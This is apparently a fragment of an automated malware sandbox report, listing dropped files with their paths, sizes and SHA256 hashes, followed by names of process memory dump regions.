                                                    • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                                    • Size 26.1MB
                                                    • SHA256 0e37e34121e4ce53d6c14d42e2e5844e0a9e385c9fb99a8ca75d141f501ea395
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    {7ffb3ee8-9ef7-4f32-a64d-e583842bea20}_OnDiskSnapshotProp

                                                    • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{7ffb3ee8-9ef7-4f32-a64d-e583842bea20}_OnDiskSnapshotProp
                                                    • Size 6KB
                                                    • SHA256 ca907eb6f58a7c0b8ff7cf92af8320803f721020fa4bf2d96a160c76e5c778d2
                                                    • MD5 SHA1 SHA512 SSDEEP TLSH

                                                    xxxx.ini

                                                    • Path \??\c:\xxxx.ini
                                                    • Size 2B
                                                    • SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
                                                    • MD5 SHA1 SHA512

                                                    memory/1292-38-0x00007FFFB7F20000-0x00007FFFB7F32000-memory.dmp

                                                    memory/1292-16-0x00007FFFB7F20000-0x00007FFFB7F32000-memory.dmp

                                                    memory/1292-13-0x00007FFFAC740000-0x00007FFFACD70000-memory.dmp

                                                    memory/1292-12-0x00007FFFD0510000-0x00007FFFD0512000-memory.dmp

                                                    memory/1428-267-0x0000000003440000-0x0000000003C23000-memory.dmp

                                                    memory/1428-263-0x0000000073000000-0x000000007374A000-memory.dmp

                                                    memory/1428-262-0x0000000001010000-0x0000000001011000-memory.dmp

                                                    memory/1536-70-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-83-0x0000021C84830000-0x0000021C848BA000-memory.dmp

                                                    memory/1536-82-0x0000021C84830000-0x0000021C848BA000-memory.dmp

                                                    memory/1536-81-0x0000021C83420000-0x0000021C8346E000-memory.dmp

                                                    memory/1536-89-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-91-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-92-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-86-0x0000021C84830000-0x0000021C848BA000-memory.dmp

                                                    memory/1536-84-0x0000021C84830000-0x0000021C848BA000-memory.dmp

                                                    memory/1536-75-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-71-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-69-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-64-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-68-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-63-0x00007FFFD0520000-0x00007FFFD0522000-memory.dmp

                                                    memory/1536-61-0x0000021C83E60000-0x0000021C8471E000-memory.dmp

                                                    memory/1536-56-0x00007FFFAC850000-0x00007FFFACD6E000-memory.dmp

                                                    memory/1536-55-0x00007FFFD0510000-0x00007FFFD0512000-memory.dmp

                                                    memory/1932-207-0x0000000010000000-0x0000000010061000-memory.dmp

                                                    memory/1932-230-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/1932-191-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/1932-198-0x0000000005780000-0x0000000005794000-memory.dmp

                                                    memory/1932-199-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/1932-186-0x0000000001880000-0x0000000001881000-memory.dmp

                                                    memory/1932-184-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/1932-179-0x0000000001860000-0x0000000001861000-memory.dmp

                                                    memory/1932-180-0x0000000074C70000-0x00000000753BA000-memory.dmp

                                                    memory/1932-269-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/1932-187-0x0000000003AA0000-0x0000000004283000-memory.dmp

                                                    memory/3992-97-0x00000272C3FF0000-0x00000272C4012000-memory.dmp

                                                    memory/3992-100-0x00000272C4360000-0x00000272C437E000-memory.dmp

                                                    memory/3992-101-0x00000272C4380000-0x00000272C4432000-memory.dmp

                                                    memory/3992-102-0x00000272C4340000-0x00000272C434A000-memory.dmp

                                                    memory/5224-245-0x0000000074C70000-0x00000000753BA000-memory.dmp

                                                    memory/5224-252-0x0000000003CD0000-0x00000000044B3000-memory.dmp

                                                    memory/5224-243-0x0000000001430000-0x0000000001431000-memory.dmp

                                                    memory/5244-259-0x0000000001500000-0x0000000001501000-memory.dmp

                                                    memory/5244-256-0x0000000003FA0000-0x0000000004783000-memory.dmp

                                                    memory/5244-255-0x0000000001520000-0x0000000001521000-memory.dmp

                                                    memory/5244-249-0x0000000003FA0000-0x0000000004783000-memory.dmp

                                                    memory/5244-239-0x0000000001500000-0x0000000001501000-memory.dmp

                                                    memory/5244-240-0x0000000074C70000-0x00000000753BA000-memory.dmp